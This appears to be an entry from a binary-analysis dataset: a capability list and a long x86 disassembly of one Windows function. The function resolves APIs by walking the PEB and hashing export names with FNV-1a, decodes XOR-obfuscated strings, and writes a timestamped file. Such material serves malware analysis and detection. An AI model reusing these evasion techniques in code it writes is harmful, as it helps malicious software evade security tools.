Function at 0x4567c0
Capabilities:
Access peb ldr_data
Authenticate hmac
Encode data using xor
Get number of processors
Hash data using fnv
Resolve function by parsing pe exports
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x208
push ebx
push esi
xor ebx, ebx
mov dword [ebp - 0x188], edx
mov esi, ecx
mov dword [ebp - 0x2c], 0
push edi
mov ecx, 0x800
mov dword [ebp - 0x30], 0
mov dword [ebp - 0x24], ebx
mov dword [ebp - 0x184], ebx
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 0x20], 0xffffffff
mov dword [ebp - 0x1c4], ebx
call fcn.004bca70
mov edi, eax
mov dword [ebp - 0x28], edi
test edi, edi
je 0x4586cb
mov eax, dword [esi]
push 0x400
push edi
push 1
push esi
call dword [eax + 0x38]
test eax, eax
js 0x4586cb
mov dword [ebp - 0x1c0], 0x69
mov edx, 0xc
mov eax, 0x39
mov ecx, 0x1b
mov word [ebp - 0x1bc], ax
mov eax, 0xf
mov word [ebp - 0x1ba], cx
mov word [ebp - 0x1b8], dx
mov word [ebp - 0x1b6], ax
mov eax, 7
mov word [ebp - 0x1b4], dx
mov word [ebp - 0x1b2], cx
mov word [ebp - 0x1b0], dx
mov word [ebp - 0x1ae], ax
mov eax, 0xa
mov word [ebp - 0x1ac], ax
mov eax, 0x1a
mov word [ebp - 0x1aa], dx
mov word [ebp - 0x1a8], ax
mov eax, 0x69
mov word [ebp - 0x1a6], ax
movzx eax, word [0x4025e0]
xor eax, 0x69
mov word [ebp - 0x1a4], ax
movzx eax, word [0x4025e2]
xor eax, 0x69
mov word [ebp - 0x1a2], ax
movzx eax, word [0x4025e4]
xor eax, 0x69
mov word [ebp - 0x1a0], ax
movzx eax, word [0x4025e6]
xor eax, 0x69
mov word [ebp - 0x19e], ax
movzx eax, word [0x4025e8]
xor eax, 0x69
mov word [ebp - 0x19c], ax
movzx eax, word [0x4025ea]
xor eax, 0x69
mov word [ebp - 0x19a], ax
movzx eax, word [0x4025ec]
xor eax, 0x69
mov word [ebp - 0x198], ax
movzx eax, word [0x4025ee]
xor eax, 0x69
mov word [ebp - 0x196], ax
movzx eax, word [0x4025f0]
xor eax, 0x69
mov word [ebp - 0x194], ax
movzx eax, word [0x4025f2]
xor eax, 0x69
mov word [ebp - 0x192], ax
movzx eax, word [0x4025f4]
xor eax, 0x69
mov word [ebp - 0x190], ax
xor eax, eax
mov word [ebp - 0x18e], ax
xor edx, edx
mov ax, word [ebp - 0x1bc]
nop dword [eax]
mov ax, word [ebp + edx*2 - 0x1bc]
movzx ecx, ax
movzx eax, word [ebp - 0x1c0]
xor ecx, eax
mov word [ebp + edx*2 - 0x1bc], cx
inc edx
cmp edx, 0x17
jb 0x456980
xor eax, eax
mov word [ebp - 0x18e], ax
lea eax, [ebp - 0x1bc]
push eax
push edi
call dword [sym.imp.SHLWAPI.dll_PathAppendW]
test eax, eax
je 0x4586be
mov ebx, dword [0x4f3810]
test ebx, ebx
jne 0x456a56
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov ecx, eax
mov dword [ebp - 0xc], eax
mov edx, eax
mov dword [ebp - 8], ecx
movzx ebx, word [ecx + 0x2c]
xor edi, edi
mov esi, dword [ecx + 0x30]
shr ebx, 1
mov dword [ebp - 0x10], 0x811c9dc5
lea eax, [esi + ebx*2]
cmp esi, eax
cmova ebx, edi
test ebx, ebx
je 0x456a3d
mov cl, byte [esi]
lea esi, [esi + 2]
movsx edx, cl
sub cl, 0x41
mov eax, edx
or eax, 0x20
cmp cl, 0x19
cmova eax, edx
inc edi
xor eax, dword [ebp - 0x10]
imul eax, eax, 0x1000193
mov dword [ebp - 0x10], eax
cmp edi, ebx
jne 0x456a05
cmp eax, 0xa3e6f6c3
je 0x458553
mov ecx, dword [ebp - 8]
mov edx, dword [ebp - 0xc]
mov eax, dword [ecx]
mov ecx, eax
mov dword [ebp - 8], ecx
cmp eax, edx
je 0x456a4e
cmp dword [ecx + 0x18], 0
jne 0x4569e7
xor ebx, ebx
mov dword [0x4f3810], ebx
mov eax, dword [0x4f37d8]
test eax, eax
jne 0x456af3
test ebx, ebx
je 0x456aec
mov eax, dword [ebx + 0x3c]
mov ecx, dword [eax + ebx + 0x78]
mov eax, dword [eax + ebx + 0x7c]
mov dword [ebp - 0x14], eax
lea eax, [ecx + ebx]
mov dword [ebp - 0x10], eax
cmp eax, ebx
je 0x456aec
xor ecx, ecx
mov dword [ebp - 8], ecx
cmp dword [eax + 0x18], ecx
je 0x456aec
mov eax, dword [eax + 0x20]
add eax, ebx
mov dword [ebp - 0xc], eax
mov esi, dword [eax]
mov edi, 0x811c9dc5
add esi, ebx
mov dl, byte [esi]
inc esi
test dl, dl
je 0x456ada
movsx ecx, dl
lea esi, [esi + 1]
sub dl, 0x41
mov eax, ecx
or eax, 0x20
cmp dl, 0x19
mov dl, byte [esi - 1]
cmova eax, ecx
xor eax, edi
imul edi, eax, 0x1000193
test dl, dl
jne 0x456aa5
cmp edi, 0x28737e55
je 0x45855e
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 8]
mov edx, dword [ebp - 0x10]
inc ecx
add eax, 4
mov dword [ebp - 8], ecx
mov dword [ebp - 0xc], eax
cmp ecx, dword [edx + 0x18]
jne 0x456a95
xor eax, eax
mov dword [0x4f37d8], eax
mov ecx, dword [ebp - 0x28]
push 0
push ecx
call eax
mov dword [ebp - 0x4c], 0xe
mov eax, dword [ebp - 0x4c]
xor eax, 0x46
mov word [ebp - 0x48], ax
mov eax, dword [ebp - 0x4c]
inc eax
xor eax, 0x69
mov word [ebp - 0x46], ax
mov eax, dword [ebp - 0x4c]
add eax, 2
xor eax, 0x6c
mov word [ebp - 0x44], ax
mov eax, dword [ebp - 0x4c]
add eax, 3
xor eax, 0x65
mov word [ebp - 0x42], ax
mov eax, dword [ebp - 0x4c]
add eax, 4
xor eax, 0x73
mov word [ebp - 0x40], ax
mov eax, dword [ebp - 0x4c]
add eax, 5
mov word [ebp - 0x3e], ax
mov eax, dword [ebp - 0x4c]
movzx ecx, word [0x4025ec]
add eax, 6
movzx eax, ax
xor ecx, eax
mov word [ebp - 0x3c], cx
mov eax, dword [ebp - 0x4c]
movzx ecx, word [0x4025ee]
add eax, 7
movzx eax, ax
xor ecx, eax
mov word [ebp - 0x3a], cx
mov eax, dword [ebp - 0x4c]
movzx ecx, word [0x4025f0]
add eax, 8
movzx eax, ax
xor ecx, eax
mov word [ebp - 0x38], cx
mov eax, dword [ebp - 0x4c]
movzx ecx, word [0x4025f2]
add eax, 9
movzx eax, ax
xor ecx, eax
mov word [ebp - 0x36], cx
mov eax, dword [ebp - 0x4c]
movzx ecx, word [0x4025f4]
add eax, 0xa
movzx eax, ax
xor ecx, eax
xor eax, eax
mov word [ebp - 0x34], cx
xor edx, edx
mov word [ebp - 0x32], ax
mov ax, word [ebp - 0x48]
mov ax, word [ebp + edx*2 - 0x48]
mov ecx, dword [ebp - 0x4c]
add ecx, edx
movzx eax, ax
xor ecx, eax
mov word [ebp + edx*2 - 0x48], cx
inc edx
cmp edx, 0xb
jb 0x456bc2
mov ebx, dword [0x4f377c]
xor eax, eax
mov word [ebp - 0x32], ax
test ebx, ebx
jne 0x456c81
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov ecx, eax
mov dword [ebp - 0x10], eax
mov edx, eax
mov dword [ebp - 8], ecx
nop dword [eax + eax]
movzx ebx, word [ecx + 0x2c]
xor edi, edi
mov esi, dword [ecx + 0x30]
shr ebx, 1
mov dword [ebp - 0xc], 0x811c9dc5
lea eax, [esi + ebx*2]
cmp esi, eax
cmova ebx, edi
test ebx, ebx
je 0x456c68
nop
mov cl, byte [esi]
lea esi, [esi + 2]
movsx edx, cl
sub cl, 0x41
mov eax, edx
or eax, 0x20
cmp cl, 0x19
cmova eax, edx
inc edi
xor eax, dword [ebp - 0xc]
imul eax, eax, 0x1000193
mov dword [ebp - 0xc], eax
cmp edi, ebx
jne 0x456c30
cmp eax, 0x8ec4c73b
je 0x45857c
mov ecx, dword [ebp - 8]
mov edx, dword [ebp - 0x10]
mov eax, dword [ecx]
mov ecx, eax
mov dword [ebp - 8], ecx
cmp eax, edx
je 0x456c79
cmp dword [ecx + 0x18], 0
jne 0x456c10
xor ebx, ebx
mov dword [0x4f377c], ebx
mov eax, dword [0x4f3780]
test eax, eax
jne 0x456d1e
test ebx, ebx
je 0x456d17
mov eax, dword [ebx + 0x3c]
mov ecx, dword [eax + ebx + 0x78]
mov eax, dword [eax + ebx + 0x7c]
mov dword [ebp - 0x14], eax
lea eax, [ecx + ebx]
mov dword [ebp - 0x10], eax
cmp eax, ebx
je 0x456d17
xor ecx, ecx
mov dword [ebp - 8], ecx
cmp dword [eax + 0x18], ecx
je 0x456d17
mov eax, dword [eax + 0x20]
add eax, ebx
mov dword [ebp - 0xc], eax
mov esi, dword [eax]
mov edi, 0x811c9dc5
add esi, ebx
mov dl, byte [esi]
inc esi
test dl, dl
je 0x456d05
movsx ecx, dl
lea esi, [esi + 1]
sub dl, 0x41
mov eax, ecx
or eax, 0x20
cmp dl, 0x19
mov dl, byte [esi - 1]
cmova eax, ecx
xor eax, edi
imul edi, eax, 0x1000193
test dl, dl
jne 0x456cd0
cmp edi, 0x93ffc6af
je 0x458587
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 8]
mov edx, dword [ebp - 0x10]
inc ecx
add eax, 4
mov dword [ebp - 8], ecx
mov dword [ebp - 0xc], eax
cmp ecx, dword [edx + 0x18]
jne 0x456cc0
xor eax, eax
mov dword [0x4f3780], eax
mov ebx, dword [ebp - 0x28]
lea ecx, [ebp - 0x48]
push ecx
push ebx
call eax
test eax, eax
je 0x4586be
mov ebx, dword [0x4f3810]
test ebx, ebx
jne 0x456dc5
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov ecx, eax
mov dword [ebp - 0x10], eax
mov edx, eax
mov dword [ebp - 8], ecx
movzx ebx, word [ecx + 0x2c]
xor edi, edi
mov esi, dword [ecx + 0x30]
shr ebx, 1
mov dword [ebp - 0xc], 0x811c9dc5
lea eax, [esi + ebx*2]
cmp esi, eax
cmova ebx, edi
test ebx, ebx
je 0x456dac
mov cl, byte [esi]
lea esi, [esi + 2]
movsx edx, cl
sub cl, 0x41
mov eax, edx
or eax, 0x20
cmp cl, 0x19
cmova eax, edx
inc edi
xor eax, dword [ebp - 0xc]
imul eax, eax, 0x1000193
mov dword [ebp - 0xc], eax
cmp edi, ebx
jne 0x456d74
cmp eax, 0xa3e6f6c3
je 0x4585a5
mov ecx, dword [ebp - 8]
mov edx, dword [ebp - 0x10]
mov eax, dword [ecx]
mov ecx, eax
mov dword [ebp - 8], ecx
cmp eax, edx
je 0x456dbd
cmp dword [ecx + 0x18], 0
jne 0x456d56
xor ebx, ebx
mov dword [0x4f3810], ebx
mov eax, dword [0x4f37d8]
test eax, eax
jne 0x456e62
test ebx, ebx
je 0x456e5b
mov eax, dword [ebx + 0x3c]
mov ecx, dword [eax + ebx + 0x78]
mov eax, dword [eax + ebx + 0x7c]
mov dword [ebp - 0x14], eax
lea eax, [ecx + ebx]
mov dword [ebp - 0x10], eax
cmp eax, ebx
je 0x456e5b
xor ecx, ecx
mov dword [ebp - 8], ecx
cmp dword [eax + 0x18], ecx
je 0x456e5b
mov eax, dword [eax + 0x20]
add eax, ebx
mov dword [ebp - 0xc], eax
mov esi, dword [eax]
mov edi, 0x811c9dc5
add esi, ebx
mov dl, byte [esi]
inc esi
test dl, dl
je 0x456e49
movsx ecx, dl
lea esi, [esi + 1]
sub dl, 0x41
mov eax, ecx
or eax, 0x20
cmp dl, 0x19
mov dl, byte [esi - 1]
cmova eax, ecx
xor eax, edi
imul edi, eax, 0x1000193
test dl, dl
jne 0x456e14
cmp edi, 0x28737e55
je 0x4585b0
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 8]
mov edx, dword [ebp - 0x10]
inc ecx
add eax, 4
mov dword [ebp - 8], ecx
mov dword [ebp - 0xc], eax
cmp ecx, dword [edx + 0x18]
jne 0x456e04
xor eax, eax
mov dword [0x4f37d8], eax
mov ebx, dword [ebp - 0x28]
push 0
push ebx
call eax
mov dword [ebp - 0x7c], 0x1a
mov eax, dword [ebp - 0x7c]
xor eax, 0x5c
mov word [ebp - 0x78], ax
mov eax, dword [ebp - 0x7c]
inc eax
xor eax, 0x46
mov word [ebp - 0x76], ax
mov eax, dword [ebp - 0x7c]
add eax, 2
xor eax, 0x69
mov word [ebp - 0x74], ax
mov eax, dword [ebp - 0x7c]
add eax, 3
xor eax, 0x6c
mov word [ebp - 0x72], ax
mov eax, dword [ebp - 0x7c]
add eax, 4
xor eax, 0x65
mov word [ebp - 0x70], ax
mov eax, dword [ebp - 0x7c]
add eax, 5
xor eax, 0x73
mov word [ebp - 0x6e], ax
mov eax, dword [ebp - 0x7c]
add eax, 6
xor eax, 0x2e
mov word [ebp - 0x6c], ax
mov eax, dword [ebp - 0x7c]
add eax, 7
xor eax, 0x78
mov word [ebp - 0x6a], ax
mov eax, dword [ebp - 0x7c]
add eax, 8
xor eax, 0x6d
mov word [ebp - 0x68], ax
mov eax, dword [ebp - 0x7c]
add eax, 9
xor eax, 0x6c
mov word [ebp - 0x66], ax
mov eax, dword [ebp - 0x7c]
add eax, 0xa
mov word [ebp - 0x64], ax
mov eax, dword [ebp - 0x7c]
movzx ecx, word [0x402602]
add eax, 0xb
movzx eax, ax
xor ecx, eax
mov word [ebp - 0x62], cx
mov eax, dword [ebp - 0x7c]
movzx ecx, word [0x402604]
add eax, 0xc
movzx eax, ax
xor ecx, eax
mov word [ebp - 0x60], cx
mov eax, dword [ebp - 0x7c]
movzx ecx, word [0x402606]
add eax, 0xd
movzx eax, ax
xor ecx, eax
mov word [ebp - 0x5e], cx
mov eax, dword [ebp - 0x7c]
movzx ecx, word [0x402608]
add eax, 0xe
movzx eax, ax
xor ecx, eax
mov word [ebp - 0x5c], cx
mov eax, dword [ebp - 0x7c]
movzx ecx, word [0x40260a]
add eax, 0xf
movzx eax, ax
xor ecx, eax
mov word [ebp - 0x5a], cx
mov eax, dword [ebp - 0x7c]
movzx ecx, word [0x40260c]
add eax, 0x10
movzx eax, ax
xor ecx, eax
mov word [ebp - 0x58], cx
mov eax, dword [ebp - 0x7c]
movzx ecx, word [0x40260e]
add eax, 0x11
movzx eax, ax
xor ecx, eax
mov word [ebp - 0x56], cx
mov eax, dword [ebp - 0x7c]
movzx ecx, word [0x402610]
add eax, 0x12
movzx eax, ax
xor ecx, eax
mov word [ebp - 0x54], cx
mov eax, dword [ebp - 0x7c]
movzx ecx, word [0x402612]
add eax, 0x13
movzx eax, ax
xor ecx, eax
mov word [ebp - 0x52], cx
mov eax, dword [ebp - 0x7c]
movzx ecx, word [0x402614]
add eax, 0x14
movzx eax, ax
xor ecx, eax
xor eax, eax
mov word [ebp - 0x50], cx
xor edx, edx
mov word [ebp - 0x4e], ax
mov ax, word [ebp - 0x78]
mov ax, word [ebp + edx*2 - 0x78]
mov ecx, dword [ebp - 0x7c]
add ecx, edx
movzx eax, ax
xor ecx, eax
mov word [ebp + edx*2 - 0x78], cx
inc edx
cmp edx, 0x15
jb 0x456fe0
xor eax, eax
lea edx, [ebp - 0x78]
mov word [ebp - 0x4e], ax
mov esi, edx
mov ax, word [edx]
add edx, 2
test ax, ax
jne 0x457005
sub edx, esi
lea edi, [ebx - 2]
mov ax, word [edi + 2]
add edi, 2
test ax, ax
jne 0x457015
mov ecx, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
push 0
push 0x80
push 2
push 0
push 0
mov ecx, edx
and ecx, 3
push 0x40000000
rep movsb byte es:[edi], byte [esi]
push ebx
call dword [sym.imp.KERNEL32.DLL_CreateFileW]
mov dword [ebp - 0x20], eax
cmp eax, 0xffffffff
je 0x4586be
lea eax, [ebp - 0x1d4]
push eax
call dword [sym.imp.KERNEL32.DLL_GetSystemTime]
mov ecx, 0x800
call fcn.004bca70
mov dword [ebp - 0x2c], eax
test eax, eax
je 0x4586be
mov dword [ebp - 0xf8], 0x37
mov eax, dword [ebp - 0xf8]
xor eax, 0x25
mov word [ebp - 0xf4], ax
mov eax, dword [ebp - 0xf8]
inc eax
xor eax, 0x30
mov word [ebp - 0xf2], ax
mov eax, dword [ebp - 0xf8]
add eax, 2
xor eax, 0x34
mov word [ebp - 0xf0], ax
mov eax, dword [ebp - 0xf8]
add eax, 3
xor eax, 0x64
mov word [ebp - 0xee], ax
mov eax, dword [ebp - 0xf8]
add eax, 4
xor eax, 0x2d
mov word [ebp - 0xec], ax
mov eax, dword [ebp - 0xf8]
add eax, 5
xor eax, 0x25
mov word [ebp - 0xea], ax
mov eax, dword [ebp - 0xf8]
add eax, 6
xor eax, 0x30
mov word [ebp - 0xe8], ax
mov eax, dword [ebp - 0xf8]
add eax, 7
xor eax, 0x32
mov word [ebp - 0xe6], ax
mov eax, dword [ebp - 0xf8]
add eax, 8
xor eax, 0x64
mov word [ebp - 0xe4], ax
mov eax, dword [ebp - 0xf8]
add eax, 9
xor eax, 0x2d
mov word [ebp - 0xe2], ax
mov eax, dword [ebp - 0xf8]
add eax, 0xa
xor eax, 0x25
mov word [ebp - 0xe0], ax
mov eax, dword [ebp - 0xf8]
add eax, 0xb
xor eax, 0x30
mov word [ebp - 0xde], ax
mov eax, dword [ebp - 0xf8]
add eax, 0xc
xor eax, 0x32
mov word [ebp - 0xdc], ax
mov eax, dword [ebp - 0xf8]
add eax, 0xd
xor eax, 0x64
mov word [ebp - 0xda], ax
mov eax, dword [ebp - 0xf8]
add eax, 0xe
xor eax, 0x20
mov word [ebp - 0xd8], ax
mov eax, dword [ebp - 0xf8]
add eax, 0xf
xor eax, 0x25
mov word [ebp - 0xd6], ax
mov eax, dword [ebp - 0xf8]
add eax, 0x10
xor eax, 0x30
mov word [ebp - 0xd4], ax
mov eax, dword [ebp - 0xf8]
add eax, 0x11
xor eax, 0x32
mov word [ebp - 0xd2], ax
mov eax, dword [ebp - 0xf8]
add eax, 0x12
xor eax, 0x64
mov word [ebp - 0xd0], ax
mov eax, dword [ebp - 0xf8]
add eax, 0x13
xor eax, 0x3a
mov word [ebp - 0xce], ax
mov eax, dword [ebp - 0xf8]
add eax, 0x14
xor eax, 0x25
mov word [ebp - 0xcc], ax
mov eax, dword [ebp - 0xf8]
add eax, 0x15
xor eax, 0x30
mov word [ebp - 0xca], ax
mov eax, dword [ebp - 0xf8]
add eax, 0x16
xor eax, 0x32
mov word [ebp - 0xc8], ax
mov eax, dword [ebp - 0xf8]
add eax, 0x17
xor eax, 0x64
mov word [ebp - 0xc6], ax
mov eax, dword [ebp - 0xf8]
add eax, 0x18
xor eax, 0x3a
mov word [ebp - 0xc4], ax
mov eax, dword [ebp - 0xf8]
add eax, 0x19
xor eax, 0x25
mov word [ebp - 0xc2], ax
mov eax, dword [ebp - 0xf8]
add eax, 0x1a
xor eax, 0x30
mov word [ebp - 0xc0], ax
mov eax, dword [ebp - 0xf8]
add eax, 0x1b
xor eax, 0x32
mov word [ebp - 0xbe], ax
mov eax, dword [ebp - 0xf8]
add eax, 0x1c
xor eax, 0x64
mov word [ebp - 0xbc], ax
mov eax, dword [ebp - 0xf8]
add eax, 0x1d
mov word [ebp - 0xba], ax
mov eax, dword [ebp - 0xf8]
movzx ecx, word [0x402640]
add eax, 0x1e
movzx eax, ax
xor ecx, eax
mov word [ebp - 0xb8], cx
mov eax, dword [ebp - 0xf8]
movzx ecx, word [0x402642]
add eax, 0x1f
movzx eax, ax
xor ecx, eax
mov word [ebp - 0xb6], cx
mov eax, dword [ebp - 0xf8]
movzx ecx, word [0x402644]
add eax, 0x20
movzx eax, ax
xor ecx, eax
mov word [ebp - 0xb4], cx
mov eax, dword [ebp - 0xf8]
movzx ecx, word [0x402646]
add eax, 0x21
movzx eax, ax
xor ecx, eax
mov word [ebp - 0xb2], cx
mov eax, dword [ebp - 0xf8]
movzx ecx, word [0x402648]
add eax, 0x22
movzx eax, ax
xor ecx, eax
mov word [ebp - 0xb0], cx
mov eax, dword [ebp - 0xf8]
movzx ecx, word [0x40264a]
add eax, 0x23
movzx eax, ax
xor ecx, eax
mov word [ebp - 0xae], cx
mov eax, dword [ebp - 0xf8]
movzx ecx, word [0x40264c]
add eax, 0x24
movzx eax, ax
xor ecx, eax
mov word [ebp - 0xac], cx
mov eax, dword [ebp - 0xf8]
movzx ecx, word [0x40264e]
add eax, 0x25
movzx eax, ax
xor ecx, eax
mov word [ebp - 0xaa], cx
mov eax, dword [ebp - 0xf8]
movzx ecx, word [0x402650]
add eax, 0x26
movzx eax, ax
xor ecx, eax
mov word [ebp - 0xa8], cx
mov eax, dword [ebp - 0xf8]
movzx ecx, word [0x402652]
add eax, 0x27
movzx eax, ax
xor ecx, eax
mov word [ebp - 0xa6], cx
mov eax, dword [ebp - 0xf8]
movzx ecx, word [0x402654]
add eax, 0x28
movzx eax, ax
xor ecx, eax
mov word [ebp - 0xa4], cx
mov eax, dword [ebp - 0xf8]
movzx ecx, word [0x402656]
add eax, 0x29
movzx eax, ax
xor ecx, eax
mov word [ebp - 0xa2], cx
mov eax, dword [ebp - 0xf8]
movzx ecx, word [0x402658]
add eax, 0x2a
movzx eax, ax
xor ecx, eax
mov word [ebp - 0xa0], cx
mov eax, dword [ebp - 0xf8]
movzx ecx, word [0x40265a]
add eax, 0x2b
movzx eax, ax
xor ecx, eax
mov word [ebp - 0x9e], cx
mov eax, dword [ebp - 0xf8]
movzx ecx, word [0x40265c]
add eax, 0x2c
movzx eax, ax
xor ecx, eax
mov word [ebp - 0x9c], cx
mov eax, dword [ebp - 0xf8]
movzx ecx, word [0x40265e]
add eax, 0x2d
movzx eax, ax
xor ecx, eax
mov word [ebp - 0x9a], cx
mov eax, dword [ebp - 0xf8]
movzx ecx, word [0x402660]
add eax, 0x2e
movzx eax, ax
xor ecx, eax
mov word [ebp - 0x98], cx
mov eax, dword [ebp - 0xf8]
movzx ecx, word [0x402662]
add eax, 0x2f
movzx eax, ax
xor ecx, eax
mov word [ebp - 0x96], cx
mov eax, dword [ebp - 0xf8]
movzx ecx, word [0x402664]
add eax, 0x30
movzx eax, ax
xor ecx, eax
mov word [ebp - 0x94], cx
mov eax, dword [ebp - 0xf8]
movzx ecx, word [0x402666]
add eax, 0x31
movzx eax, ax
xor ecx, eax
mov word [ebp - 0x92], cx
mov eax, dword [ebp - 0xf8]
movzx ecx, word [0x402668]
add eax, 0x32
movzx eax, ax
xor ecx, eax
mov word [ebp - 0x90], cx
mov eax, dword [ebp - 0xf8]
movzx ecx, word [0x40266a]
add eax, 0x33
movzx eax, ax
xor ecx, eax
mov word [ebp - 0x8e], cx
mov eax, dword [ebp - 0xf8]
movzx ecx, word [0x40266c]
add eax, 0x34
movzx eax, ax
xor ecx, eax
mov word [ebp - 0x8c], cx
mov eax, dword [ebp - 0xf8]
movzx ecx, word [0x40266e]
add eax, 0x35
movzx eax, ax
xor ecx, eax
mov word [ebp - 0x8a], cx
mov eax, dword [ebp - 0xf8]
movzx ecx, word [0x402670]
add eax, 0x36
movzx eax, ax
xor ecx, eax
mov word [ebp - 0x88], cx
mov eax, dword [ebp - 0xf8]
movzx ecx, word [0x402672]
add eax, 0x37
movzx eax, ax
xor ecx, eax
mov word [ebp - 0x86], cx
mov eax, dword [ebp - 0xf8]
movzx ecx, word [0x402674]
add eax, 0x38
movzx eax, ax
xor ecx, eax
mov word [ebp - 0x84], cx
mov eax, dword [ebp - 0xf8]
movzx ecx, word [0x402676]
add eax, 0x39
movzx eax, ax
xor ecx, eax
mov word [ebp - 0x82], cx
mov eax, dword [ebp - 0xf8]
movzx ecx, word [0x402678]
add eax, 0x3a
movzx eax, ax
xor ecx, eax
xor eax, eax
mov word [ebp - 0x80], cx
xor edx, edx
mov word [ebp - 0x7e], ax
mov ax, word [ebp - 0xf4]
nop word [eax + eax]
mov ax, word [ebp + edx*2 - 0xf4]
mov ecx, dword [ebp - 0xf8]
add ecx, edx
movzx eax, ax
xor ecx, eax
mov word [ebp + edx*2 - 0xf4], cx
inc edx
cmp edx, 0x3b
jb 0x4575f0
mov ebx, dword [0x4f37a8]
xor eax, eax
mov word [ebp - 0x7e], ax
test ebx, ebx
jne 0x4576b1
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov ecx, eax
mov dword [ebp - 0x10], eax
mov edx, eax
mov dword [ebp - 8], ecx
nop
movzx ebx, word [ecx + 0x2c]
xor edi, edi
mov esi, dword [ecx + 0x30]
shr ebx, 1
mov dword [ebp - 0xc], 0x811c9dc5
lea eax, [esi + ebx*2]
cmp esi, eax
cmova ebx, edi
test ebx, ebx
je 0x457698
nop
mov cl, byte [esi]
lea esi, [esi + 2]
movsx edx, cl
sub cl, 0x41
mov eax, edx
or eax, 0x20
cmp cl, 0x19
cmova eax, edx
inc edi
xor eax, dword [ebp - 0xc]
imul eax, eax, 0x1000193
mov dword [ebp - 0xc], eax
cmp edi, ebx
jne 0x457660
cmp eax, 0xc0323159
je 0x4585ce
mov ecx, dword [ebp - 8]
mov edx, dword [ebp - 0x10]
mov eax, dword [ecx]
mov ecx, eax
mov dword [ebp - 8], ecx
cmp eax, edx
je 0x4576a9
cmp dword [ecx + 0x18], 0
jne 0x457640
xor ebx, ebx
mov dword [0x4f37a8], ebx
mov ecx, dword [0x4f37b4]
test ecx, ecx
jne 0x457750
test ebx, ebx
je 0x457748
mov eax, dword [ebx + 0x3c]
mov ecx, dword [eax + ebx + 0x78]
mov eax, dword [eax + ebx + 0x7c]
mov dword [ebp - 0x14], eax
lea eax, [ecx + ebx]
xor ecx, ecx
mov dword [ebp - 0x10], eax
cmp eax, ebx
je 0x45774a
mov dword [ebp - 8], ecx
cmp dword [eax + 0x18], ecx
je 0x457748
mov eax, dword [eax + 0x20]
add eax, ebx
mov dword [ebp - 0xc], eax
mov esi, dword [eax]
mov edi, 0x811c9dc5
add esi, ebx
mov dl, byte [esi]
inc esi
test dl, dl
je 0x457736
movsx ecx, dl
lea esi, [esi + 1]
sub dl, 0x41
mov eax, ecx
or eax, 0x20
cmp dl, 0x19
mov dl, byte [esi - 1]
cmova eax, ecx
xor eax, edi
imul edi, eax, 0x1000193
test dl, dl
jne 0x457701
cmp edi, 0xaeb3c6d5
je 0x4585d9
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 8]
mov edx, dword [ebp - 0x10]
inc ecx
add eax, 4
mov dword [ebp - 8], ecx
mov dword [ebp - 0xc], eax
cmp ecx, dword [edx + 0x18]
jne 0x4576f1
xor ecx, ecx
mov dword [0x4f37b4], ecx
movzx eax, word [ebp - 0x1c8]
push eax
movzx eax, word [ebp - 0x1ca]
push eax
movzx eax, word [ebp - 0x1cc]
push eax
movzx eax, word [ebp - 0x1ce]
push eax
movzx eax, word [ebp - 0x1d2]
push eax
movzx eax, word [ebp - 0x1d4]
push eax
lea eax, [ebp - 0xf4]
push eax
push dword [ebp - 0x2c]
call ecx
mov ebx, dword [0x4f37b0]
add esp, 0x20
test ebx, ebx
jne 0x457824
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov ecx, eax
mov dword [ebp - 0x10], eax
mov edx, eax
mov dword [ebp - 8], ecx
movzx ebx, word [ecx + 0x2c]
xor edi, edi
mov esi, dword [ecx + 0x30]
shr ebx, 1
mov dword [ebp - 0xc], 0x811c9dc5
lea eax, [esi + ebx*2]
cmp esi, eax
cmova ebx, edi
test ebx, ebx
je 0x45780b
mov cl, byte [esi]
lea esi, [esi + 2]
movsx edx, cl
sub cl, 0x41
mov eax, edx
or eax, 0x20
cmp cl, 0x19
cmova eax, edx
inc edi
xor eax, dword [ebp - 0xc]
imul eax, eax, 0x1000193
mov dword [ebp - 0xc], eax
cmp edi, ebx
jne 0x4577d3
cmp eax, 0x174c966e
je 0x4585f7
mov ecx, dword [ebp - 8]
mov edx, dword [ebp - 0x10]
mov eax, dword [ecx]
mov ecx, eax
mov dword [ebp - 8], ecx
cmp eax, edx
je 0x45781c
cmp dword [ecx + 0x18], 0
jne 0x4577b5
xor ebx, ebx
mov dword [0x4f37b0], ebx
mov eax, dword [0x4f3808]
test eax, eax
jne 0x4578c1
test ebx, ebx
je 0x4578ba
mov eax, dword [ebx + 0x3c]
mov ecx, dword [eax + ebx + 0x78]
mov eax, dword [eax + ebx + 0x7c]
mov dword [ebp - 0x14], eax
lea eax, [ecx + ebx]
mov dword [ebp - 0x10], eax
cmp eax, ebx
je 0x4578ba
xor ecx, ecx
mov dword [ebp - 8], ecx
cmp dword [eax + 0x18], ecx
je 0x4578ba
mov eax, dword [eax + 0x20]
add eax, ebx
mov dword [ebp - 0xc], eax
mov esi, dword [eax]
mov edi, 0x811c9dc5
add esi, ebx
mov dl, byte [esi]
inc esi
test dl, dl
je 0x4578a8
movsx ecx, dl
lea esi, [esi + 1]
sub dl, 0x41
mov eax, ecx
or eax, 0x20
cmp dl, 0x19
mov dl, byte [esi - 1]
cmova eax, ecx
xor eax, edi
imul edi, eax, 0x1000193
test dl, dl
jne 0x457873
cmp edi, 0x1807f01a
je 0x458602
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 8]
mov edx, dword [ebp - 0x10]
inc ecx
add eax, 4
mov dword [ebp - 8], ecx
mov dword [ebp - 0xc], eax
cmp ecx, dword [edx + 0x18]
jne 0x457863
xor eax, eax
mov dword [0x4f3808], eax
